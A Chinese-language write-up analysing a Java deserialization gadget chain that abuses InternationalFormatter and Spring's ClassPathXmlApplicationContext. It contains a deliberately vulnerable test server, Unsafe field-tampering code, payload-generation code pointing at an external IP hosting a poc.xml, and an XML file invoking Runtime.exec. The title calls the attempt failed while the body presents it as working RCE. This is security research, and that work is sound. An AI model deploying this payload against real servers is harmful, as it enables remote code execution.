javay原生类反序列化链子实例化rce的失败尝试
字数 1611 2025-08-22 12:22:48

Java原生类反序列化链利用分析

概述

本文详细分析了一个利用Java原生类反序列化漏洞实现远程代码执行(RCE)的技术细节。该漏洞链利用了InternationalFormatter类的反序列化特性,结合自定义的StringFormat类和Spring框架的ClassPathXmlApplicationContext实现任意代码执行。

环境搭建

测试环境是一个简单的HTTP服务器,监听指定端口,提供反序列化端点:

import com.sun.net.httpserver.HttpServer;
import javax.naming.InitialContext;
import java.io.IOException;

public class Main {
    public static void main(String[] args) throws IOException {
        var port = Integer.parseInt(System.getenv().getOrDefault("PORT", "8000"));
        var server = HttpServer.create(new java.net.InetSocketAddress(port), 0);
        server.createContext("/", req -> {
            var code = 200;
            var response = switch (req.getRequestURI().getPath()) {
                case "/der" -> {
                    try {
                        var param = req.getRequestURI().getQuery();
                        yield new java.io.ObjectInputStream(
                            new java.io.ByteArrayInputStream(
                                java.util.Base64.getDecoder().decode(param))
                        ).readObject().toString();
                    } catch (Throwable e) {
                        e.printStackTrace();
                        yield ":(";
                    }
                }
                default -> {
                    code = 404;
                    yield "Not found";
                }
            };
            req.sendResponseHeaders(code, 0);
            var os = req.getResponseBody();
            os.write(response.getBytes());
            os.close();
        });
        server.start();
        System.out.printf("Server listening on :%s\n", port);
    }
}

关键组件

自定义StringFormat类

package com.n1ght;

import java.text.FieldPosition;
import java.text.Format;
import java.text.ParsePosition;

public class StringFormat extends Format {
    private String str;
    
    public StringFormat(String str) {
        this.str = str;
    }
    
    public StringBuffer format(Object obj, StringBuffer toAppendTo, FieldPosition pos) {
        return (StringBuffer) obj;
    }
    
    public Object parseObject(String source, ParsePosition pos) {
        pos.setIndex(1);
        return source;
    }
}

这个类继承自Format,重写了parseObject方法使其返回任意字符串值,为后续利用提供可控点。

UnsafeTools工具类

package com.n1ght.src;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import sun.misc.Unsafe;

public class UnSafeTools {
    static Unsafe unsafe;
    
    public static Unsafe getUnsafe() throws Exception {
        Field field = Unsafe.class.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (Unsafe) field.get((Object) null);
        return unsafe;
    }
    
    public static void setObject(Object o, Field field, Object value) {
        unsafe.putObject(o, unsafe.objectFieldOffset(field), value);
    }
    
    public static Object newClass(Class c) throws InstantiationException {
        Object o = unsafe.allocateInstance(c);
        return o;
    }
    
    public static void bypassModule(Class src, Class dst) throws Exception {
        Unsafe unsafe = getUnsafe();
        Method getModule = dst.getDeclaredMethod("getModule");
        getModule.setAccessible(true);
        Object module = getModule.invoke(dst);
        long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.getAndSetObject(src, addr, module);
    }
    
    static {
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            unsafe = (Unsafe) field.get((Object) null);
        } catch (Exception var1) {
            System.out.println("Error: " + var1);
        }
    }
}

这个工具类利用sun.misc.Unsafe进行反射操作,可以绕过Java的安全限制,修改对象的私有字段。

漏洞利用链分析

1. InternationalFormatter反序列化入口

InternationalFormatter#readObject方法在反序列化时被调用:

@Serial
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
    s.defaultReadObject();
    updateMaskIfNecessary();
}

2. updateMaskIfNecessary调用链

void updateMaskIfNecessary() {
    if (!getAllowsInvalid() && (getFormat() != null)) {
        if (!isValidMask()) {
            updateMask();
        } else {
            String newString = getFormattedTextField().getText();
            if (!newString.equals(string)) {
                updateMask();
            }
        }
    }
}

3. updateMask方法

void updateMask() {
    if (getFormat() != null) {
        Document doc = getFormattedTextField().getDocument();
        validMask = false;
        if (doc != null) {
            try {
                string = doc.getText(0, doc.getLength());
            } catch (BadLocationException ble) {
                string = null;
            }
            if (string != null) {
                try {
                    Object value = stringToValue(string);
                    AttributedCharacterIterator iterator = getFormat().formatToCharacterIterator(value);
                    updateMask(iterator);
                } catch (ParseException pe) {
                } catch (IllegalArgumentException iae) {
                } catch (NullPointerException npe) {
                }
            }
        }
    }
}

关键点在于stringToValue(string)的调用。

4. stringToValue方法

public Object stringToValue(String text) throws ParseException {
    Object value = stringToValue(text, getFormat());
    if (value != null && getValueClass() != null && !getValueClass().isInstance(value)) {
        value = super.stringToValue(value.toString());
    }
    try {
        if (!isValidValue(value, true)) {
            throw new ParseException("Value not within min/max range", 0);
        }
    } catch (ClassCastException cce) {
        throw new ParseException("Class cast exception comparing values: " + cce, 0);
    }
    return value;
}

最终会调用到DefaultFormatter#stringToValue方法。

5. DefaultFormatter#stringToValue

public Object stringToValue(String string) throws ParseException {
    Class<?> vc = getValueClass();
    JFormattedTextField ftf = getFormattedTextField();
    if (vc == null && ftf != null) {
        Object value = ftf.getValue();
        if (value != null) {
            vc = value.getClass();
        }
    }
    if (vc != null) {
        Constructor<?> cons;
        try {
            ReflectUtil.checkPackageAccess(vc);
            SwingUtilities2.checkAccess(vc.getModifiers());
            cons = vc.getConstructor(new Class<?>[]{String.class});
        } catch (NoSuchMethodException nsme) {
            cons = null;
        }
        if (cons != null) {
            try {
                SwingUtilities2.checkAccess(cons.getModifiers());
                return cons.newInstance(new Object[]{string});
            } catch (Throwable ex) {
                throw new ParseException("Error creating instance", 0);
            }
        }
    }
    return string;
}

这个方法的关键在于它会尝试使用字符串参数构造getValueClass()指定的类的实例,这为我们提供了任意类实例化的机会。

漏洞利用

利用代码

package com.n1ght.src;

import com.n1ght.StringFormat;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.swing.*;
import javax.swing.text.DefaultFormatter;
import javax.swing.text.InternationalFormatter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;

public class Test {
    public static void main(String[] args) throws Exception {
        InternationalFormatter internationalFormatter = new InternationalFormatter();
        DefaultFormatter defaultFormatter = new DefaultFormatter();
        defaultFormatter.setValueClass(ClassPathXmlApplicationContext.class);
        
        JFormattedTextField jFormattedTextField = new JFormattedTextField(defaultFormatter);
        jFormattedTextField.setValue("http://112.124.59.213/poc.xml");
        
        StringFormat aaa = new StringFormat("{0}");
        internationalFormatter.setFormat(aaa);
        
        UnSafeTools.setObject(internationalFormatter, 
            JFormattedTextField.AbstractFormatter.class.getDeclaredField("ftf"), 
            jFormattedTextField);
        UnSafeTools.setObject(internationalFormatter, 
            DefaultFormatter.class.getDeclaredField("allowsInvalid"), 
            false);
        UnSafeTools.setObject(internationalFormatter, 
            InternationalFormatter.class.getDeclaredField("validMask"), 
            true);
        UnSafeTools.setObject(internationalFormatter, 
            DefaultFormatter.class.getDeclaredField("valueClass"), 
            ClassPathXmlApplicationContext.class);
        
        internationalFormatter.setAllowsInvalid(false);
        
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        new ObjectOutputStream(bao).writeObject(internationalFormatter);
        System.out.println(Base64.getEncoder().encodeToString(bao.toByteArray()));
        
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bao.toByteArray());
        new ObjectInputStream(byteArrayInputStream).readObject();
    }
}

恶意XML配置文件(poc.xml)

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="data" class="java.lang.String">
        <constructor-arg><value>PAYLOAD</value></constructor-arg>
    </bean>
    <bean class="#{T(java.lang.Runtime).getRuntime().exec('command')}"></bean>
</beans>

利用步骤详解

  1. 构造InternationalFormatter对象:创建InternationalFormatter实例作为反序列化入口点。

  2. 设置Format:将自定义的StringFormat设置为InternationalFormatter的format。

  3. 配置FormattedTextField

    • 创建DefaultFormatter并设置valueClassClassPathXmlApplicationContext
    • 创建JFormattedTextField并设置value为恶意XML的URL
  4. 使用Unsafe修改私有字段

    • ftf字段设置为配置好的JFormattedTextField
    • 设置allowsInvalid为false
    • 设置validMask为true
    • 设置valueClassClassPathXmlApplicationContext
  5. 序列化对象:将构造好的InternationalFormatter对象序列化为字节数组并Base64编码。

  6. 触发漏洞:将Base64编码的payload发送到目标服务器的反序列化端点。

防御措施

  1. 避免反序列化不可信数据:不要反序列化来自不可信源的数据。

  2. 使用安全过滤器:在反序列化前对输入进行严格过滤。

  3. 更新Java版本:使用最新版本的Java,其中可能包含安全修复。

  4. 使用白名单:实现反序列化类的白名单机制。

  5. 使用替代方案:考虑使用JSON等更安全的序列化格式。

总结

这个漏洞链展示了如何通过精心构造的Java对象利用反序列化漏洞实现RCE。关键在于:

  • 利用InternationalFormatter的反序列化行为
  • 通过StringFormat控制解析过程
  • 利用DefaultFormatter#stringToValue的任意类实例化特性
  • 结合Spring框架的ClassPathXmlApplicationContext加载恶意XML实现代码执行

理解这种攻击方式有助于开发者更好地保护自己的应用免受类似攻击。

Java原生类反序列化链利用分析 概述 本文详细分析了一个利用Java原生类反序列化漏洞实现远程代码执行(RCE)的技术细节。该漏洞链利用了 InternationalFormatter 类的反序列化特性,结合自定义的 StringFormat 类和Spring框架的 ClassPathXmlApplicationContext 实现任意代码执行。 环境搭建 测试环境是一个简单的HTTP服务器,监听指定端口,提供反序列化端点: 关键组件 自定义StringFormat类 这个类继承自 Format ,重写了 parseObject 方法使其返回任意字符串值,为后续利用提供可控点。 UnsafeTools工具类 这个工具类利用 sun.misc.Unsafe 进行反射操作,可以绕过Java的安全限制,修改对象的私有字段。 漏洞利用链分析 1. InternationalFormatter反序列化入口 InternationalFormatter#readObject 方法在反序列化时被调用: 2. updateMaskIfNecessary调用链 3. updateMask方法 关键点在于 stringToValue(string) 的调用。 4. stringToValue方法 最终会调用到 DefaultFormatter#stringToValue 方法。 5. DefaultFormatter#stringToValue 这个方法的关键在于它会尝试使用字符串参数构造 getValueClass() 指定的类的实例,这为我们提供了任意类实例化的机会。 漏洞利用 利用代码 恶意XML配置文件(poc.xml) 利用步骤详解 构造InternationalFormatter对象 :创建 InternationalFormatter 实例作为反序列化入口点。 设置Format :将自定义的 StringFormat 设置为 InternationalFormatter 的format。 配置FormattedTextField : 创建 DefaultFormatter 并设置 valueClass 为 ClassPathXmlApplicationContext 创建 JFormattedTextField 并设置value为恶意XML的URL 使用Unsafe修改私有字段 : 将 ftf 字段设置为配置好的 JFormattedTextField 设置 allowsInvalid 为false 设置 validMask 为true 设置 valueClass 为 ClassPathXmlApplicationContext 序列化对象 :将构造好的 InternationalFormatter 对象序列化为字节数组并Base64编码。 触发漏洞 :将Base64编码的payload发送到目标服务器的反序列化端点。 防御措施 避免反序列化不可信数据 :不要反序列化来自不可信源的数据。 使用安全过滤器 :在反序列化前对输入进行严格过滤。 更新Java版本 :使用最新版本的Java,其中可能包含安全修复。 使用白名单 :实现反序列化类的白名单机制。 使用替代方案 :考虑使用JSON等更安全的序列化格式。 总结 这个漏洞链展示了如何通过精心构造的Java对象利用反序列化漏洞实现RCE。关键在于: 利用 InternationalFormatter 的反序列化行为 通过 StringFormat 控制解析过程 利用 DefaultFormatter#stringToValue 的任意类实例化特性 结合Spring框架的 ClassPathXmlApplicationContext 加载恶意XML实现代码执行 理解这种攻击方式有助于开发者更好地保护自己的应用免受类似攻击。